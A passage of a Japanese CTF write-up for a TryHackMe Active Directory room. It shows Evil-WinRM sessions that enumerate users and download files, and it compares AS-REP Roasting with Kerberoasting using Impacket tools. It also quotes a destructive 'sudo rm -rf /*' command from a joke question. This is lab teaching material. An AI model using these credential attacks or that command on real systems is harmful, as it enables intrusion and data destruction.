$ echo "44616d6e20796f752061726520612067656e6975732e0a4275742c20492061706f6c6f67697a6520666f72206368656174696e6720796f75206c696b6520746869732e0a0a4865726520697320796f757220526f6f7420466c61670a54484d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e2068747470733a2f2f747769747465722e636f6d2f5879616e3164332061626f75742077686174207061727420796f7520656e6a6f796564206f6e207468697320626f7820616e642077686174207061727420796f75207374727567676c656420776974682e0a0a496620796f7520656e6a6f796564207468697320626f7820796f75206d617920616c736f2074616b652061206c6f6f6b20617420746865206c696e75786167656e637920726f6f6d20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736f6d65206c696e75782066756e64616d656e74616c7320616e642070726976696c65676520657363616c6174696f6e2068747470733a2f2f7472796861636b6d652e636f6d2f726f6f6d2f6c696e75786167656e63792e0a" | xxd -r -p

Damn you are a genius.
But, I apologize for cheating you like this.

Here is your Root Flag
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}

Tag me on https://twitter.com/Xyan1d3 about what part you enjoyed on this box and what part you struggled with.

If you enjoyed this box you may also take a look at the linuxagency room in tryhackme.
Which contains some linux fundamentals and privilege escalation https://tryhackme.com/room/linuxagency.

よって、rootフラグを取得できました。

What is the root Flag?

Answer: THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}

また、次の問いであるTysonについても調べます。

*Evil-WinRM* PS C:\> Get-ADUser -Filter * -Properties * | Select-Object Name, Description, DisplayName, Note | Where-Object { $_ -match "tyson" }

Name           Description DisplayName    Note
----           ----------- -----------    ----
Tyson Williams             Tyson Williams {}

どうやらいるようですね。もう一回、twilliamsの資格情報でevil-winrmを使用し、接続後、以下のようなディレクトリに謎のファイルがあります。

*Evil-WinRM* PS C:\Users\twilliams> type definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_definitely_not_a_flag.exe
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}

よって、次のフラグも見つけることができました。

What is Tyson's Flag?

Answer: THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}

また、以下のような謎のフォルダもありました。

*Evil-WinRM* PS C:\Program Files> dir


    Directory: C:\Program Files


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/21/2021  11:45 AM                Amazon
d-----        2/23/2021   6:27 AM                Common Files
d-----        5/21/2021   9:39 AM                internet explorer
d-----        2/25/2021  10:13 AM                Top Secret
d-----        5/21/2021  11:41 AM                VMware
d-r---        5/21/2021   9:39 AM                Windows Defender
d-----        5/21/2021   9:39 AM                Windows Defender Advanced Threat Protection
d-----        9/15/2018  12:19 AM                Windows Mail
d-----        5/21/2021   9:39 AM                Windows Media Player
d-----        9/15/2018  12:19 AM                Windows Multimedia Platform
d-----        9/15/2018  12:28 AM                windows nt
d-----        5/21/2021   9:39 AM                Windows Photo Viewer
d-----        9/15/2018  12:19 AM                Windows Portable Devices
d-----        9/15/2018  12:19 AM                Windows Security
d-----        9/15/2018  12:19 AM                WindowsPowerShell

C:\Program Files\Top Secret\top_secret.pngをダウンロードします。

*Evil-WinRM* PS C:\Program Files\Top Secret> dir


Directory: C:\Program Files\Top Secret


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        2/25/2021  10:13 AM         449195 top_secret.png


*Evil-WinRM* PS C:\Program Files\Top Secret> download ./top_secret.png
 
                                        
Info: Downloading C:\Program Files\Top Secret\top_secret.png to top_secret.png
                                        
Info: Download successful!

画像を閲覧すると、Vimエディタにおいてファイルを保存(write)して終了(quit)するコマンド :wq を示唆することが書いてあり、:wqが答えとなる

What is the complete top secret?

Answer: :wq

Did you like your cookie?の後に、謎のことが書いてありますが、ハッカーとしての心があるなら、すぐ答えることができるでしょう。(実際は、消さないでね)

Say Yes or I will do sudo rm -rf /* on your PC

Answer: Yes

終わり

久しぶりに、Windows Server(AD?)みたいなラボを解きましたが、面白いですよね

ただ、LLMの進化が凄すぎて状況を聞くだけで割とスムーズにペンテストできるのはなかなか便利になった時代です。けど、なんだかんだTry&Errorの繰り返しが多かったので、知識ない人が使うと遠回りになる気がしました。

次は、Operation Endgameのラボについてもwriteupを書くので、良かったら参考になると嬉しいです。

Active Directory PentestにおけるTips

AS-REP Roasting と Kerberoastingの違い

よくActive Directory環境のペネトレーションテストにおいて、いろんなハッシュが出てきますが、非常にややこしく感じます。

AS-REP Roastingで引き抜けるAS-REP HashとKerberoastingで得られるハッシュでは全く役割が違います。以下のような表がわかりやすいと思います。

項目 AS-REP Roasting (Tyson / twilliams) Kerberoasting (sbradley 等)
特徴 事前認証なしのユーザーを悪用 SPN を持つサービスアカウントを悪用
主な対象 「事前認証不要 (DoNotRequirePreauth)」設定のユーザー SPN (Service Principal Name) が設定されたユーザー
攻撃のタイミング 認証の最初のステップ(AS-REQ に対する応答) サービス利用時(TGS-REQ に対する応答)
盗むもの AS-REP 応答(ユーザーのパスワードで暗号化された部分) TGS(Service Ticket / サービスチケット)
暗号化の鍵 ユーザー自身のパスワードから生成された鍵 サービスアカウントのパスワードから生成された鍵
ハッシュ形式 $krb5asrep$23$... $krb5tgs$23$...
主なツール GetNPUsers.py (Impacket) GetUserSPNs.py (Impacket)

こうやってみると、AS-REP Roastingで得られるパターンは、そもそも認証すらしていないため、Active Directory内にまず侵入していません。一方、Kerberoastingで得られるパターンは認証済みの資格情報を持った上で、Active Directoryで使用されるチケットを発行しようと試みます。
そのため、AS-REP Roastingは割と序盤で検証し、Kerberoastingの場合はそもそも認証済みであろう資格情報(SPNアカウント)があったときに、検証ができます。

TGT(Ticket Granting Ticket) とTGS(Ticket Granting Service) の違い

Active Directory環境のペンテストをしていた際に、TGSやTGTを取れることがあるかもしれません。よく混乱しがちなことがあるので、軽くまとめておきます。

特徴 TGT (Ticket Granting Ticket) TGS (Ticket Granting Service)
日本語訳 チケット認可チケット サービスチケット
例え ホテルの入館証(パス) 各客室やプールの鍵
有効期限 長め(デフォルト10時間程度) 短め(リソース使用時のみ)
宛先 ドメインコントローラー (KDC) 各サーバー(ファイルサーバー等)
発行回数 ログオン時に1回 サービスを利用するたびに毎回

今回のラボにおいて、TGSを取得した後に、root権限昇格を狙ったパターンがありました。それはTGSを取得できるということは、実質ドメインコントローラアカウント(Administratorの権限を持つアカウント)にアクセスするための事前チケットを取得しているようなものであるため、上記のような権限昇格が行えるわけです。

ややこしいですよね

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?